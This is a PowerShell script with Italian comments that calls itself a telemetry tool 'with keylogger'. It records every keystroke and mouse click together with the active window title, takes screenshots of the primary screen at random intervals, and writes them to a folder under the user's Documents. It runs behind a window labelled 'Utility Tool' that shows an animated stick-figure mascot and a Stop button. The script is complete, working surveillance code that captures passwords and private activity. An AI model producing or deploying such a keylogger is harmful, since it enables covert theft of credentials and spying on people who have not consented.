TelemetryDemo.ps1

<#
TelemetryTool-WithKeylogger-AndMascot.ps1   (v3.1 – mostra davvero la UI)
#>

# --- CONFIGURAZIONE INIZIALE --------------------------------------------------
$ErrorActionPreference = 'Stop'
$script:isRunning      = $true
$script:sessionId      = [DateTime]::Now.ToString('yyyyMMdd_HHmmss')
$script:baseDir        = Join-Path $env:USERPROFILE "Documents\TelemetryData\$($script:sessionId)"
$script:logFile        = Join-Path $script:baseDir 'telemetry.log'
$script:screenshotDir  = Join-Path $script:baseDir 'screenshots'
$script:keylogFile     = Join-Path $script:baseDir 'keylog.txt'

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Text.Encoding      # per StringBuilder

New-Item -ItemType Directory -Path $script:baseDir       -Force | Out-Null
New-Item -ItemType Directory -Path $script:screenshotDir -Force | Out-Null

# --- P/Invoke ----------------------------------------------------------------
$source = @"
using System;
using System.Runtime.InteropServices;

public class Win32Api {
    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
    public static extern short GetAsyncKeyState(int vKey);

    [StructLayout(LayoutKind.Sequential)]
    public struct POINT { public int X; public int Y; }

    [DllImport("user32.dll")] public static extern bool GetCursorPos(out POINT lpPoint);
    [DllImport("user32.dll")] public static extern int  GetForegroundWindow();
    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
    public static extern int GetWindowText(int hWnd, System.Text.StringBuilder sb, int maxCount);
}
"@
Add-Type -TypeDefinition $source -ReferencedAssemblies 'System.Windows.Forms','System.Drawing'

# --- FUNZIONI DI SUPPORTO -----------------------------------------------------
function Write-Log   { param($m) $t=Get-Date -f 'yyyy-MM-dd HH:mm:ss';$l="[$t] $m";Add-Content $script:logFile $l -Force;Write-Host $l }
function Write-KeyLog{ param($m) $t=Get-Date -f 'yyyy-MM-dd HH:mm:ss';Add-Content $script:keylogFile "[$t] $m" -Force }

function Get-ActiveWindowTitle {
    try { $h=[Win32Api]::GetForegroundWindow();$sb=New-Object Text.StringBuilder 256
          if([Win32Api]::GetWindowText($h,$sb,$sb.Capacity)){return $sb.ToString()} }catch{}
    'Unknown'
}

function Get-KeyName {
    param([int]$vk)
    $map=@{1='LButton';2='RButton';4='MButton';8='Backspace';9='Tab';13='Enter';16='Shift';17='Ctrl';18='Alt';19='Pause';20='CapsLock';27='Escape';32='Space';33='PageUp';34='PageDown';35='End';36='Home';37='Left';38='Up';39='Right';40='Down';44='PrintScreen';45='Insert';46='Delete'
          48='0';49='1';50='2';51='3';52='4';53='5';54='6';55='7';56='8';57='9'
          65='A';66='B';67='C';68='D';69='E';70='F';71='G';72='H';73='I';74='J';75='K';76='L';77='M';78='N';79='O';80='P';81='Q';82='R';83='S';84='T';85='U';86='V';87='W';88='X';89='Y';90='Z'
          91='LWin';92='RWin'
          96='Num0';97='Num1';98='Num2';99='Num3';100='Num4';101='Num5';102='Num6';103='Num7';104='Num8';105='Num9'
          106='Multiply';107='Add';109='Subtract';110='Decimal';111='Divide'
          112='F1';113='F2';114='F3';115='F4';116='F5';117='F6';118='F7';119='F8';120='F9';121='F10';122='F11';123='F12'
          144='NumLock';145='ScrollLock';186=';';187='=';188=',';189='-';190='.';191='/';192='`';219='[';220='\';221=']';222="'" }
    if($map.ContainsKey($vk)){$map[$vk]}else{"VK$vk"}
}

function Capture-Screenshot {
    $ts=Get-Date -f 'yyyyMMdd_HHmmss_fff'
    $path=Join-Path $script:screenshotDir "screenshot_$ts.png"
    try {
        $b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds
        $bmp=New-Object Drawing.Bitmap $b.Width,$b.Height
        $g=[Drawing.Graphics]::FromImage($bmp)
        $g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)
        $bmp.Save($path,[Drawing.Imaging.ImageFormat]::Png)
        $g.Dispose();$bmp.Dispose()
        Write-Log "[SCREENSHOT] Salvato $(Split-Path $path -Leaf)";$true
    }catch{Write-Log "[ERRORE] Cattura screenshot fallita: $($_.Exception.Message)";$false}
}

function New-MascotFrames {
    $frames   = New-Object System.Collections.Generic.List[Drawing.Bitmap]
    $size     = 100
    $centerX  = 50
    $headY    = 15
    $bodyTopY = 35
    $bodyBotY = 70
    $armLen   = 25
    $legLen   = 25
    for($f=0;$f -lt 4;$f++){
        $bmp = New-Object Drawing.Bitmap $size,$size
        $g   = [Drawing.Graphics]::FromImage($bmp)
        $g.SmoothingMode = 'AntiAlias'
        $g.Clear([Drawing.Color]::White)
        $pen = [Drawing.Pens]::Black
        $g.DrawEllipse($pen,$centerX-10,$headY,20,20)             # testa
        $g.DrawLine($pen,$centerX,$bodyTopY,$centerX,$bodyBotY)    # tronco
        $angle = if($f % 2 -eq 0){30}else{-30}
        $rad   = [Math]::PI*$angle/180
        $xOff  = [int]($armLen*[Math]::Cos($rad))
        $yOff  = [int]($armLen*[Math]::Sin($rad))
        $g.DrawLine($pen,$centerX,$bodyTopY+5,$centerX-$xOff,$bodyTopY+5+$yOff) # braccio sx
        $g.DrawLine($pen,$centerX,$bodyTopY+5,$centerX+$xOff,$bodyTopY+5+$yOff) # braccio dx
        $g.DrawLine($pen,$centerX,$bodyBotY,$centerX-10,$bodyBotY+$legLen)       # gamba sx
        $g.DrawLine($pen,$centerX,$bodyBotY,$centerX+10,$bodyBotY+$legLen)       # gamba dx
        $g.FillEllipse([Drawing.Brushes]::Black,$centerX-5,$headY+5,3,3)         # occhi
        $g.FillEllipse([Drawing.Brushes]::Black,$centerX+2,$headY+5,3,3)
        $g.DrawArc($pen,$centerX-6,$headY+8,12,6,10,160)                         # sorriso
        $g.Dispose();[void]$frames.Add($bmp)
    }
    return $frames
}

function Show-AnimatedUI {

    [System.Windows.Forms.Application]::EnableVisualStyles()

    $form                       = New-Object Windows.Forms.Form
    $form.Text                  = 'Utility Tool'
    $form.Size                  = New-Object Drawing.Size 400,320
    $form.StartPosition         = 'CenterScreen'
    $form.FormBorderStyle       = 'FixedDialog'
    $form.MaximizeBox           = $false

    $label                      = New-Object Windows.Forms.Label
    $label.Location             = New-Object Drawing.Point 10,10
    $label.Size                 = New-Object Drawing.Size 380,20
    $label.Text                 = 'Tool in esecuzione... premi "Stop" per terminare.'
    $form.Controls.Add($label)

    $script:pictureBox          = New-Object Windows.Forms.PictureBox
    $script:pictureBox.Location = New-Object Drawing.Point 150,50
    $script:pictureBox.Size     = New-Object Drawing.Size 100,100
    $script:pictureBox.SizeMode = 'StretchImage'
    $script:pictureBox.BackColor= [Drawing.Color]::White
    $form.Controls.Add($script:pictureBox)

    $script:statusLabel         = New-Object Windows.Forms.Label
    $script:statusLabel.Location= New-Object Drawing.Point 10,270
    $script:statusLabel.Size    = New-Object Drawing.Size 380,20
    $script:statusLabel.Text    = "Avviato: $(Get-Date -Format 'HH:mm:ss')"
    $form.Controls.Add($script:statusLabel)

    $script:animationFrames = New-MascotFrames
    $script:currentFrame    = 0

    $script:timer        = New-Object Windows.Forms.Timer
    $script:timer.Interval = 125
    $script:timer.Add_Tick({
        if($script:isRunning -and $script:pictureBox -and $script:pictureBox.IsHandleCreated){
            $script:pictureBox.Image = $script:animationFrames[$script:currentFrame]
            $script:currentFrame     = ($script:currentFrame + 1) % $script:animationFrames.Count
            $script:statusLabel.Text = "In esecuzione... $(Get-Date -Format 'HH:mm:ss')"
        }else{ $script:timer.Stop() }
    })
    $script:timer.Start()

    $button              = New-Object Windows.Forms.Button
    $button.Location     = New-Object Drawing.Point 150,200
    $button.Size         = New-Object Drawing.Size 100,30
    $button.Text         = 'Stop'
    $button.Add_Click({ $script:isRunning = $false; $form.Close() })
    $form.Controls.Add($button)

    $form.Add_FormClosing({
        $script:isRunning = $false
        if($script:timer){ $script:timer.Stop(); $script:timer.Dispose() }
        foreach($bmp in $script:animationFrames){ if($bmp){$bmp.Dispose()} }
    })

    $form.Show()   # <<--- QUESTA È LA RIGA CHE RENDE VISIBILE LA UI
    return $form
}

# --- LOOP PRINCIPALE ----------------------------------------------------------
Write-Log   "Tool avviato - Sessione $($script:sessionId)"
Write-KeyLog "Inizio registrazione tasti e click"

$lastKeyStates      = New-Object bool[] 256
$form               = Show-AnimatedUI
$nextScreenshotTime = (Get-Date).AddSeconds(15)

Write-Log  'Avviato loop di monitoraggio principale (Keylogger + Screenshot).'
Write-Host 'Keylogger avviato: usa la finestra per fermare.'

while($script:isRunning){
    [Windows.Forms.Application]::DoEvents()

    # --- KEYLOGGER -----------------------------------------------------------
    for($i=1;$i -lt 255;$i++){
        $state   = [Win32Api]::GetAsyncKeyState($i)
        $pressed = ($state -band 0x8000) -ne 0
        if($pressed -and -not $lastKeyStates[$i]){
            $k=Get-KeyName $i
            if($k -in @('LButton','RButton','MButton')){
                $pt=New-Object Win32Api+POINT
                if([Win32Api]::GetCursorPos([ref]$pt)){
                    $w=Get-ActiveWindowTitle
                    $msg="[CLICK] $k @ $($pt.X),$($pt.Y) in finestra: $w"
                    Write-Log $msg; Write-KeyLog $msg
                }
            }else{
                $w=Get-ActiveWindowTitle
                $msg="[KEY] $k in finestra: $w"
                Write-Log $msg; Write-KeyLog $msg
            }
            $lastKeyStates[$i]=$true
        }elseif(-not $pressed){
            $lastKeyStates[$i]=$false
        }
    }

    # --- SCREENSHOT PROGRAMMATO ---------------------------------------------
    if((Get-Date) -ge $nextScreenshotTime){
        if(Capture-Screenshot){
            $delay              = Get-Random -Minimum 30 -Maximum 90
            $nextScreenshotTime = (Get-Date).AddSeconds($delay)
            Write-Log "[INFO] Prossimo screenshot tra $delay secondi."
        }
    }
    Start-Sleep -Milliseconds 10
}

Write-Log   'Tool arrestato dall’utente.'
Write-KeyLog 'Fine registrazione tasti e click'
Write-Host  "Tool arrestato. Log salvati in $script:baseDir"